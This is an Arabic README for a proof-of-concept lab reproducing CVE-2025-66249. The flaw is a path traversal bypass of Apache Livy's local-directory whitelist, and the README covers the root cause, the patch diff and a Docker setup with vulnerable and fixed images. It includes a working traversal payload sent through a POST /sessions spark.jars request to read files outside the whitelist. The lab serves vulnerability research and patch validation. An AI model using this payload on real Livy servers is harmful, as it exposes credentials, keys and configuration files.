
POC لثغرة تجاوز القائمة البيضاء لاجتياز المسار في Apache Livy
للاستخدامات التعليمية وأغراض البحث الأمني فقط. لا تستخدم ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. → إخلاء المسؤولية الكامل
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-66249 |
| الخطورة | مهم (CVSS غير متاح — تقييم NVD قيد الانتظار حتى 2026-03-15) |
| المتأثر | Apache Livy 0.3.0-incubating حتى 0.8.0-incubating — فقط عند تعيين livy.file.local-dir-whitelist إلى قيمة غير افتراضية |
| المصحح في | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: تقييد غير صحيح لاسم المسار لدليل مقيد ('اجتياز المسار') |
| الإفصاح عنه | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| المبلغ | Hiroki Egawa (المكتشف) |
يمكن لمستخدم موثّق لديه إمكانية الوصول إلى واجهة REST أو JDBC الخاصة بـ Livy تقديم جلسة Spark أو مهمة دفعية بقيمة مسار ملف مصممة تهرب من القائمة البيضاء للدليل المسموح به.
السبب الجذري — تجاوز اجتياز المسار في فحص القائمة البيضاء (Session.scala)
عند تكوين livy.file.local-dir-whitelist، يتحقق Livy 0.8.0 من المسارات المُرسَلة عن طريق استدعاء String.startsWith() في Java على المسار الخام غير المُطَبَّع. يمكن تجاوز هذا الفحص باستخدام تسلسلات الاجتياز ../:
/opt/safe-data/../sensitive/secret.txt
تبدأ السلسلة الخام بـ /opt/safe-data، وبالتالي يجتاز الفحص — لكن المسار يُحل إلى /opt/sensitive/secret.txt، وهو خارج الدليل المدرج في القائمة البيضاء تمامًا.
شرط التفعيل: لا يمكن استغلال الثغرة إلا عندما يتم تعيين livy.file.local-dir-whitelist إلى قيمة غير افتراضية (غير فارغة). إذا كانت القائمة البيضاء فارغة (الوضع الافتراضي)، يتم تخطي التحقق من المسار بالكامل ولا يتم تفعيل المشكلة.
التأثير: يمكن للمهاجم الذي يُرسل جلسة عبر REST API في Livy الرجوع إلى ملفات محلية عشوائية على خادم Livy. في مجموعة تحليلات مشتركة، يُترجم هذا إلى احتمال كشف بيانات الاعتماد والمفاتيح وملفات التكوين أو أي بيانات يمكن قراءتها بواسطة مستخدم عملية Livy.
Session.scalaالإصدار الضعيف (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
الإصدار المصحح (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
تم استنساخ كلا الإصدارين مباشرة من مستودع Apache Livy الرسمي على GitHub باستخدام الأوامر التالية:
المستودع: https://github.com/apache/incubator-livy
# الإصدار الضعيف — تم استنساخه إلى ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# الإصدار المصحح — تم استنساخه إلى ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| الإصدار | الوسم | الالتزام المُحل | المسار المحلي |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() قبل فحص القائمة البيضاء import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// تأكد من أن الموقع مدرج في القائمة البيضاء قبل السماح بإضافة الملفات المحلية.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
التأثير في v0.8.0:
يمكن تجاوز فحص startsWith للسلسلة الخام باستخدام حمولة اجتياز مسار.
مثال: إذا كان livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → صحيح (تم التجاز)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → خطأ (تم الحظر)تم إنتاج الفروقات عن طريق استنساخ كلا الوسمين محليًا (انظر أعلاه) وتشغيل:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
مهاجم (مستخدم REST/JDBC موثّق)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← المسار يبدأ بالبادئة المدرجة في القائمة البيضاء — يمر String.startsWith()
← لكنه يُحل خارج الدليل عبر اجتياز ../
}
}
│
▼
Livy 0.8.0 — تم تجاوز فحص القائمة البيضاء (startsWith خام، بدون تطبيع)
│
▼
Spark يقرأ الملف ويوزعه على المنفذين
│
▼
يستعيد المهاجم محتويات الملف عبر مخرجات المهمة / السجلات
تم تنفيذ والتحقق من جميع الخطوات في إثبات المفهوم هذا على النظام التالي:
| المكون | التفاصيل |
|---|---|
| نظام التشغيل المضيف | Ubuntu 24.04.4 LTS (Noble Numbat) |
| النواة | 6.17.0-14-generic x86_64 |
| البنية | x86_64 |
| إجمالي الذاكرة | 15 GiB |
| محرك Docker | 28.2.2 |
| JDK المضيف | OpenJDK 17.0.18 (يستخدمه المضيف فقط — تستخدم الحاويات eclipse-temurin:11-jdk-focal) |
| صورة الحاوية الأساسية | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| إصدار Spark (كلتا الصورتين) | 3.1.3 مع Hadoop 3.2 |
| إصدار Livy — الصورة الضعيفة | 0.8.0-incubating |
| إصدار Livy — الصورة المصححة | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → الصورة: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → الصورة: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → نص واحد، يُشغّل دون تغيير على كلا البيئتين
التسلسل الكامل من البداية إلى النهاية — اتبع الخطوات من 1 إلى 4 بالترتيب:
الخطوة 1: بناء الصورة الضعيفة → تشغيل الحاوية → التحقق من أن Livy يعمل
الخطوة 2: تشغيل validate.sh → تأكيد وجود الثغرة (هجوم HTTP 201) → إيقاف الحاوية
الخطوة 3: بناء الصورة المصححة → تشغيل الحاوية → التحقق من أن Livy يعمل
الخطوة 4: تشغيل validate.sh → تأكيد الإصلاح (هجوم HTTP 400) → إيقاف الحاوية
ملاحظة: يحتاج Livy إلى حوالي 15–20 ثانية ليصبح جاهزًا بعد
docker run. تتضمن جميع الخطوات أدناهsleep 20صريحًا قبل أي استدعاء API.